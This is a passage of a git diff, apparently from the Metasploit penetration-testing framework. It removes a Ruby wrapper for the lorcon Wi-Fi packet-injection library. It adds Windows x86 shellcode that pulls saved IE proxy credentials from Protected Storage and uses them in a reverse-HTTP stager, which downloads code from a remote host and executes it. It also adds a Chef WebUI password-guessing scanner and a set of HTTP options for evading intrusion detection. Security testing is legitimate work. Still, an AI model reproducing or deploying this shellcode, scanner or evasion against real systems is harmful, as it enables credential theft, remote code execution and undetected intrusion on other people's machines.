-struct rldev { - struct lorcon *context; -}; - -struct rlpack { - struct lorcon_packet *packet; - - /* dot3 construction via multiple elements */ - u_char *bssid, *dot3; - int dir, len; -}; - - -typedef struct rblorconjob { - struct pcap_pkthdr hdr; - unsigned char *pkt; -} rblorconjob_t; - -#endif diff --git a/external/ruby-lorcon2/README b/external/ruby-lorcon2/README deleted file mode 100644 index eaea96f856e1..000000000000 --- a/external/ruby-lorcon2/README +++ /dev/null @@ -1,41 +0,0 @@ -This is an experimental interface for lorcon, a 802.11 library -developed by Joshua Wright and dragorn. This interface is only -available on Linux and with lorcon-supported wireless drivers. - -For more information, please see the lorcon documentation and code: -http://www.802.11mercenary.net/lorcon/ - -To build this extension: - -1) Download, compile, and install lorcon -The latest version of lorcon can pulled from SVN: -$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon -$ cd lorcon -$ ./configure -$ make - $ sudo make install - -- or -- - $ su - # make install - # exit -$ cd .. - -2) build the ruby extension.. -$ ruby extconf.rb -$ make -$ sudo make install - -- or -- -$ su -# make install - - -NOTES: - -if Ubuntu 8.04 (and probably others) bitches about 'mkmf', -you need ruby dev package. - -:~/metasploit/external/ruby-lorcon$ ruby extconf.rb -extconf.rb:2:in `require': no such file to load -- mkmf (LoadError) - from extconf.rb:2 - -:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev diff --git a/external/ruby-lorcon2/extconf.rb b/external/ruby-lorcon2/extconf.rb deleted file mode 100644 index 955244f708d5..000000000000 --- a/external/ruby-lorcon2/extconf.rb +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env ruby -require 'mkmf' - - -$CFLAGS += " -I/usr/include/lorcon2" - -if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ ) - $CFLAGS += " -DRUBY_19" -end - -if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h") - create_makefile("Lorcon2") -else - puts "Error: the lorcon2 library was not found, please see the README" -end - diff --git a/external/ruby-lorcon2/test.rb b/external/ruby-lorcon2/test.rb deleted file mode 100755 index 7dd8803058af..000000000000 --- a/external/ruby-lorcon2/test.rb +++ /dev/null @@ -1,59 +0,0 @@ -#!/usr/bin/env ruby - -$:.unshift(File.dirname(__FILE__)) - -require "Lorcon2" -require 'thread' -require "pp" - -intf = ARGV.shift || "wlan0" - -$stdout.puts "Checking LORCON version" - -pp Lorcon.version - -$stdout.puts "\nFetching LORCON driver list" - -pp Lorcon.drivers - -$stdout.puts "\nResolving driver by name 'mac80211'" - -pp Lorcon.find_driver("mac80211") - -$stdout.puts "\nAuto-detecting driver for interface wlan0" - -pp Lorcon.auto_driver(intf) - - -tx = Lorcon::Device.new(intf) -$stdout.puts "\nCreated LORCON context" - -if tx.openinjmon() - $stdout.puts "\nOpened as INJMON: " + tx.capiface -else - $stdout.puts "\nFAILED to open " + tx.capiface + " as INJMON: " + tx.error -end - -def safe_loop(wifi) - @q = Queue.new - reader = Thread.new do - wifi.each_packet {|pkt| @q << pkt } - end - - eater = Thread.new do - while(pkt = @q.pop) - yield(pkt) - end - end - - begin - eater.join - rescue ::Interrupt => e - reader.kill if reader.alive? - puts "ALL DONE!" - end -end - -safe_loop(tx) do |pkt| - pp pkt -end diff --git a/external/ruby-lorcon2/upstream.svn b/external/ruby-lorcon2/upstream.svn deleted file mode 100644 index daeb943a7fc3..000000000000 --- a/external/ruby-lorcon2/upstream.svn +++ /dev/null @@ -1,11 +0,0 @@ -Path: . -URL: http://802.11ninja.net/svn/lorcon/trunk/ruby-lorcon -Repository Root: http://802.11ninja.net/svn/lorcon -Repository UUID: 61418039-352c-0410-8488-9e586b2135b2 -Revision: 204 -Node Kind: directory -Schedule: normal -Last Changed Author: dragorn -Last Changed Rev: 202 -Last Changed Date: 2009-09-15 09:31:29 -0500 (Tue, 15 Sep 2009) - diff --git a/external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm b/external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm new file mode 100644 index 000000000000..acd1afc0534e --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm @@ -0,0 +1,209 @@ +;-----------------------------------------------------------------------------; +; Author: Unknown +; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6 +; Version: 1.0 +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP must be the address of 'api_call' +; Output: top element of stack will be pointer to null-terminated password and +; second will be pointer to null-terminated username of the Proxy saved in IE + +pushad +jmp after_functions + +alloc_memory: ; returns address to allocation in eax + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x1000 ; allocate 1000 byte for each variable (could be less) + push 0 ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$ + ret ; + ; +after_functions: ; + ; + ; allocate memory for variables and save pointers on stack + mov bl, 9 ; + alloc_loop: ; + call alloc_memory ; + push eax ; save allocation address on stack + dec bl ; + jnz alloc_loop ; + ; +load_pstorec: ; loads the pstorec.dll + push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack. + push 0x6f747370 ; ... + push esp ; Push a pointer to the 'pstorec',0 string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "pstorec" ) + ; this should leave a handle to the pstorec + ; DLL-Module in eax + + pop edx ; remove 'pstorec' string from stack + pop edx + +PStoreCreateInstance_PStore: + ; returns address to PStore in pPStore + pop edi ; pop pPstore + push edi ; restore stack + ; + push 0 ; + push 0 ; + push 0 ; + push edi ; arg4: pPstore + push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" ) + call ebp ; PstoreCreateInstance(address, 0, 0, 0) + ; +PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes + pop eax ; pop pPstore + pop edx ; pop pEnumPstoreTypes + push edx ; restore stack + push eax ; + ; + push edx ; arg1: pEnumPstoreTypes + push 0 ; arg2: NULL + push 0 ; arg3: NULL + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base address of PStore (this) + mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll + mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38) + call edx ; call IPStore::EnumTypes + mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected + ; +EnumPStoreTypes.raw_Next: + pop eax ; pop pPStore + pop edx ; pop pEnumPStoreTypes + pop ecx ; pop pTypeGUID + push ecx ; restore stack + push edx ; + push eax ; + ; + push 0 ; arg1: NULL + push ecx ; arg2: pTypeGUID + push 1 ; arg3: 1 + mov edx, [edx] ; load base address of EnumPStoreTypes + push edx ; push base address of EnumPStoreTypes (this) + mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll + mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C) + call edx ; call EnumPStoreTypes::raw_Next + ; + mov eax, [esp+8] ; + mov eax, [eax] ; + ; + test eax, eax ; + jz no_auth ; no Password found + cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites" + jne EnumPStoreTypes.raw_Next + ; +PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes () + pop eax ; pop pPstore + pop edx ; pop pEnumPstoreTypes + pop ecx ; pop pTypeGUID + pop edi ; pop pEnumSubtypes + push edi ; restore stack + push ecx ; + push edx ; + push eax ; + ; + push edi ; arg1: pEnumSubtypes + push 0 ; arg2: NULL + push ecx ; arg3: pTypeGUID + push 0 ; arg4: NULL + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base address of PStore (this) + mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll + mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C) + call edx ; call IPStore::EnumSubtypes + ; +EnumSubtypes.raw_Next: + mov eax, [esp+0x0C] ; pop pEnumSubtypes + mov edx, [esp+0x10] ; pop psubTypeGUID + ; + push 0 ; arg1: NULL + push edx ; arg2: psubTypeGUID + push 1 ; arg3: 1 + mov eax, [eax] ; load base address of EnumSubtypes in eax + push eax ; push base address of EnumSubtypes (this) + mov edx, [eax] ; get function address of raw_Next in pstorec.dll + mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C) + call edx ; call EnumSubtypes.raw_Next + ; +PStore.EnumItems: + pop eax ; pop pPstore + pop ecx ; + pop edx ; pop pTypeGUID + push edx ; restore stack + push ecx ; + push eax ; + mov ecx, [esp+0x10] ; pop psubTypeGUID + mov edi, [esp+0x14] ; pop pspEnumItems + ; + push edi ; arg1: pspEnumItems + push 0 ; arg2: NULL + push ecx ; arg3: psubTypeGUID + push edx ; arg4: pTyoeGUID + push 0 ; arg5: NULL + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base address of PStore (this) + mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll + mov edx, [edx+0x54] ; + call edx ; call IPStore::Enumitems + ; +spEnumItems.raw_Next: + mov eax, [esp+0x14] ; pop pspEnumItems + mov ecx, [esp+0x18] ; pop pitemName + ; + push 0 ; arg1: NULL + push ecx ; arg2: pitemName + push 1 ; arg3: 1 + mov eax, [eax] ; load base address of spEnumItems in eax + push eax ; push base addres of spEnumItems (this) + mov edx, [eax] ; get function address of raw_Next in pstorec.dll + mov edx, [edx+0x0C] ; + call edx ; + ; +PStore.ReadItem: + pop eax ; pop pPStore + push eax ; + ; + push 0 ; arg1: NULL + push 0 ; arg2: NULL (stiinfo not needed) + mov ecx, [esp+0x24] ; pop ppsData (8. Element) + push ecx ; arg3: ppsData + mov ecx, [esp+0x2C] ; pop ppsDataLen + push ecx ; arg4: ppsDataLen (not needed?) + mov ecx, [esp+0x28] ; pop pitemName (7. Element) + mov ecx, [ecx] ; + push ecx ; arg5: pitemName + mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element) + push ecx ; arg6: psubTypeGUID + mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element) + push ecx ; arg7: pTypeGUID + push 0 ; arg8: NULL + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base addres of PStore (this) + mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll + mov edx, [edx+0x44] ; + call edx ; + ; +split_user_pass: + mov eax, [esp+0x1C] ; eax = ppsData + mov eax, [eax] ; now eax contains pointer to "user:pass" + push eax ; push pointer to user + mov cl, byte 0x3a ; load ":" in ecx + mov dl, byte [eax] ; load first byte of ppsData in edx + cmp cl, dl ; + jz no_auth ; + loop_split: ; + inc eax ; + mov dl, byte [eax] ; + cmp cl, dl ; + jnz loop_split ; increase eax until it points to ":" + ; + mov [eax], byte 0x00 ; replace ":" with 00 + inc eax ; + push eax ; push pointer to pass + ; +no_auth: + diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm new file mode 100644 index 000000000000..81730fad55ac --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm @@ -0,0 +1,157 @@ +;-----------------------------------------------------------------------------; +; Author: HD Moore +; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 +; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) +; Version: 1.0 +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP must be the address of 'api_call'. +; Top and second top element of stack can be pointer to null-terminated +; password and pointer to null-terminated username of a proxy server to connect to. +; Output: EDI will be the socket for the connection to the server +; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) +load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + +internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push byte 0 ; NULL pointer + push esp ; LPCTSTR lpszAgent ("\x00") + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp short dbl_get_server_host + +internetconnect: + pop ebx ; Save the hostname pointer + xor edi, edi + push edi ; DWORD_PTR dwContext (NULL) + push edi ; dwFlags + push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push edx ; username + push dword 4444 ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + +httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 ; INTERNET_FLAG_NO_UI + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + +set_retry: + push byte 0x10 + pop ebx + +httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz short allocate_memory + +try_it_again: + dec ebx + jz failure + jmp short httpsendrequest + +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call httpopenrequest + +server_uri: + db "/12345", 0x00 + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + +allocate_memory: + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (8Mb ought to do us) + push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + +download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + +execute_stage: + ret ; dive into the stored stage address + +get_server_host: + +;////////////////////////////////// +;//get proxy credentials from stack +;////////////////////////////////// +get_proxy_auth: + pop esi ; delete the top 3 stack elements as they are + pop esi ; garbage from this block + pop esi + + pop ecx ; save pointer to password in ecx + pop edx ; save pointer to username in edx +;///////////////////////////////////////////////// +; we use the credentials only in internetconnect// +;///////////////////////////////////////////////// + + call internetconnect + +server_host: + diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm new file mode 100644 index 000000000000..a3dbd3953291 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm @@ -0,0 +1,18 @@ +;-----------------------------------------------------------------------------; +; Author: Unknown +; Compatible: Windows Server 2003, IE Versions 4 to 6 +; Build: >build.py stager_reverse_http_proxy_pstore +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_get_pstore_creds.asm" +%include "./src/block/block_reverse_http_use_proxy_creds.asm" + ; By here we will have performed the reverse_tcp connection and EDI will be our socket. + diff --git a/features/commands/help.feature b/features/commands/help.feature index 5bea94a35cb1..95fe5e6388e8 100644 --- a/features/commands/help.feature +++ b/features/commands/help.feature @@ -36,6 +36,7 @@ Feature: Help command pushm Pushes the active or list of modules onto the module stack quit Exit the console reload_all Reloads all modules from all defined module paths + rename_job Rename a job resource Run the commands stored in a file route Route traffic through a session save Saves the active datastores diff --git a/lib/metasploit/framework/afp/client.rb b/lib/metasploit/framework/afp/client.rb index 2bc578d7a782..a12f7275cee3 100644 --- a/lib/metasploit/framework/afp/client.rb +++ b/lib/metasploit/framework/afp/client.rb @@ -77,8 +77,7 @@ def login(user, pass) begin response = sock.timed_read(1024, self.login_timeout) rescue Timeout::Error - #vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") - return :connection_error + raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)" end flags, command, request_id, error_code, length, reserved = parse_header(response) @@ -87,8 +86,7 @@ def login(user, pass) when -5001 #kFPAuthContinue return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma, :password => pass, :user => user}) - when -5023 #kFPUserNotAuth (User dosen't exists) - #print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists") + when -5023 #kFPUserNotAuth (User dosen't exists) return :skip_user else return :connection_error @@ -123,8 +121,7 @@ def no_user_authent_login begin response = sock.timed_read(1024, self.login_timeout) rescue Timeout::Error - vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") - return :connection_error + raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)" end flags, command, request_id, error_code, length, reserved = parse_header(response) @@ -180,8 +177,7 @@ def parse_login_response_add_send_login_count(response, data) begin response = sock.timed_read(1024, self.login_timeout) rescue Timeout::Error - vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") - return :connection_error + raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)" end flags, command, request_id, error_code, length, reserved = parse_header(response) @@ -201,7 +197,7 @@ def parse_info_response(response) parsed_data = {} flags, command, request_id, error_code, length, reserved = parse_header(response) - raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0 + raise RuntimeError, "AFP Server response with error" if error_code != 0 body = get_body(response, length) machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags = body.unpack('nnnnn') @@ -243,7 +239,7 @@ def parse_header(packet) def get_body(packet, body_length) body = packet[16..body_length + 15] - raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length + raise RuntimeError, "AFP Invalid body length" if body.length != body_length return body end @@ -291,7 +287,7 @@ def parse_network_addresses(network_addresses) when 7 # IPv6 address (16 bytes) followed by a two-byte port number parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}" else # Something wrong? - raise "Error parsing network addresses" + raise RuntimeError, "Error parsing network addresses" end end return parsed_addreses diff --git a/lib/metasploit/framework/login_scanner/afp.rb b/lib/metasploit/framework/login_scanner/afp.rb index 60f6c0084c82..ccd0970b3eb4 100644 --- a/lib/metasploit/framework/login_scanner/afp.rb +++ b/lib/metasploit/framework/login_scanner/afp.rb @@ -31,7 +31,12 @@ def attempt_login(credential) rescue Rex::ConnectionError, EOFError, Timeout::Error status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT else - success = login(credential.public, credential.private) + begin + success = login(credential.public, credential.private) + rescue RuntimeError => e + return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message} + end + status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT end diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb index 0fc32c99137c..5fb73067ac35 100644 --- a/lib/metasploit/framework/login_scanner/axis2.rb +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -17,10 +17,10 @@ class Axis2 < HTTP # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) - http_client = config_client(http_client) + configure_http_client(http_client) result_opts = { credential: credential, diff --git a/lib/metasploit/framework/login_scanner/buffalo.rb b/lib/metasploit/framework/login_scanner/buffalo.rb index 53357aa227a1..e690871da04e 100644 --- a/lib/metasploit/framework/login_scanner/buffalo.rb +++ b/lib/metasploit/framework/login_scanner/buffalo.rb @@ -34,7 +34,8 @@ def attempt_login(credential) result_opts[:service_name] = 'http' end begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version) + configure_http_client(cli) cli.connect req = cli.request_cgi({ 'method'=>'POST', diff --git a/lib/metasploit/framework/login_scanner/chef_webui.rb b/lib/metasploit/framework/login_scanner/chef_webui.rb new file mode 100644 index 000000000000..3431c66a0a2f --- /dev/null +++ b/lib/metasploit/framework/login_scanner/chef_webui.rb @@ -0,0 +1,144 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI + class ChefWebUI < HTTP + + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # @!attribute session_name + # @return [String] Cookie name for session_id + attr_accessor :session_name + + # @!attribute session_id + # @return [String] Cookie value + attr_accessor :session_id + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + status = try_login(credential) + result_opts.merge!(status) + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + end + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => normalize_uri('/users/login')}) + return "Connection failed" if res.nil? + + if res.code != 200 + return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)" + end + + if res.body.to_s !~ /Chef Server<\/title>/ + return "Unexpected HTTP body (is this really Chef WebUI?)" + end + + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + configure_http_client(cli) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Save the session ID cookie + if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i + self.session_name = $1 + self.session_id = $2 + end + + res + end + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_credential(csrf_token, credential) + + data = "utf8=%E2%9C%93" # ✓ + data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}" + data << "&name=#{Rex::Text.uri_encode(credential.public)}" + data << "&password=#{Rex::Text.uri_encode(credential.private)}" + data << "&commit=login" + + opts = { + 'uri' => normalize_uri('/users/login_exec'), + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded', + 'Cookie' => "#{self.session_name}=#{self.session_id}" + } + } + + send_request(opts) + end + + + # Tries to login to Chef WebUI + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_login(credential) + + # Obtain a CSRF token first + res = send_request({'uri' => normalize_uri('/users/login')}) + unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m) + return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body} + end + + csrf_token = $1 + + res = try_credential(csrf_token, credential) + if res && res.code == 302 + opts = { + 'uri' => normalize_uri("/users/#{credential.public}/edit"), + 'method' => 'GET', + 'headers' => { + 'Cookie' => "#{self.session_name}=#{self.session_id}" + } + } + res = send_request(opts) + if (res && res.code == 200 && res.body.to_s =~ /New password for the User/) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index ccd2fa559b1d..02200d0e746b 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -61,7 +61,8 @@ def check_setup # @param (see Rex::Proto::Http::Resquest#request_raw) # @return [Rex::Proto::Http::Response] The HTTP response def send_request(opts) - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + configure_http_client(cli) cli.connect req = cli.request_raw(opts) res = cli.send_recv(req) diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index ae494306561a..b54f4605dfe2 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -37,6 +37,122 @@ class HTTP # @return [String] the Virtual Host name for the target Web Server attr_accessor :vhost + # @!attribute evade_uri_encode_mode + # @return [String] The type of URI encoding to use + attr_accessor :evade_uri_encode_mode + + # @!attribute evade_uri_full_url + # @return [Boolean] Whether to use the full URL for all HTTP requests + attr_accessor :evade_uri_full_url + + # @!attribute evade_pad_method_uri_count + # @return [Fixnum] How many whitespace characters to use between the method and uri + attr_accessor :evade_pad_method_uri_count + + # @!attribute evade_pad_uri_version_count + # @return [Fixnum] How many whitespace characters to use between the uri and version + attr_accessor :evade_pad_uri_version_count + + # @!attribute evade_pad_method_uri_type + # @return [String] What type of whitespace to use between the method and uri + attr_accessor :evade_pad_method_uri_type + + # @!attribute evade_pad_uri_version_type + # @return [String] What type of whitespace to use between the uri and version + attr_accessor :evade_pad_uri_version_type + + # @!attribute evade_method_random_valid + # @return [Boolean] Whether to use a random, but valid, HTTP method for request + attr_accessor :evade_method_random_valid + + # @!attribute evade_method_random_invalid + # @return [Boolean] Whether to use a random invalid, HTTP method for request + attr_accessor :evade_method_random_invalid + + # @!attribute evade_method_random_case + # @return [Boolean] Whether to use random casing for the HTTP method + attr_accessor :evade_method_random_case + + # @!attribute evade_uri_dir_self_reference + # @return [Boolean] Whether to insert self-referential directories into the uri + attr_accessor :evade_uri_dir_self_reference + + # @!attribute evade_uri_dir_fake_relative + # @return [Boolean] Whether to insert fake relative directories into the uri + attr_accessor :evade_uri_dir_fake_relative + + # @!attribute evade_uri_use_backslashes + # @return [Boolean] Whether to use back slashes instead of forward slashes in the uri + attr_accessor :evade_uri_use_backslashes + + # @!attribute evade_pad_fake_headers + # @return [Boolean] Whether to insert random, fake headers into the HTTP request + attr_accessor :evade_pad_fake_headers + + # @!attribute evade_pad_fake_headers_count + # @return [Fixnum] How many fake headers to insert into the HTTP request + attr_accessor :evade_pad_fake_headers_count + + # @!attribute evade_pad_get_params + # @return [Boolean] Whether to insert random, fake query string variables into the request + attr_accessor :evade_pad_get_params + + # @!attribute evade_pad_get_params_count + # @return [Fixnum] How many fake query string variables to insert into the request + attr_accessor :evade_pad_get_params_count + + # @!attribute evade_pad_post_params + # @return [Boolean] Whether to insert random, fake post variables into the request + attr_accessor :evade_pad_post_params + + # @!attribute evade_pad_post_params_count + # @return [Fixnum] How many fake post variables to insert into the request + attr_accessor :evade_pad_post_params_count + + # @!attribute evade_uri_fake_end + # @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../) + attr_accessor :evade_uri_fake_end + + # @!attribute evade_uri_fake_params_start + # @return [Boolean] Whether to add a fake start of params to the URI (eg: /%3fa=b/../) + attr_accessor :evade_uri_fake_params_start + + # @!attribute evade_header_folding + # @return [Boolean] Whether to enable folding of HTTP headers + attr_accessor :evade_header_folding + + # @!attribute ntlm_use_ntlmv2_session + # @return [Boolean] Whether to activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session + attr_accessor :ntlm_use_ntlmv2_session + + # @!attribute ntlm_use_ntlmv2 + # @return [Boolean] Whether to use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' is enabled + attr_accessor :ntlm_use_ntlmv2 + + # @!attribute ntlm_send_lm + # @return [Boolean] Whether to always send the LANMAN response (except when NTLMv2_session is specified) + attr_accessor :ntlm_send_lm + + # @!attribute ntlm_send_ntlm + # @return [Boolean] Whether to activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses + attr_accessor :ntlm_send_ntlm + + # @!attribute ntlm_send_spn + # @return [Boolean] Whether to send an avp of type SPN in the NTLMv2 client blob. + attr_accessor :ntlm_send_spn + + # @!attribute ntlm_use_lm_key + # @return [Boolean] Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent + 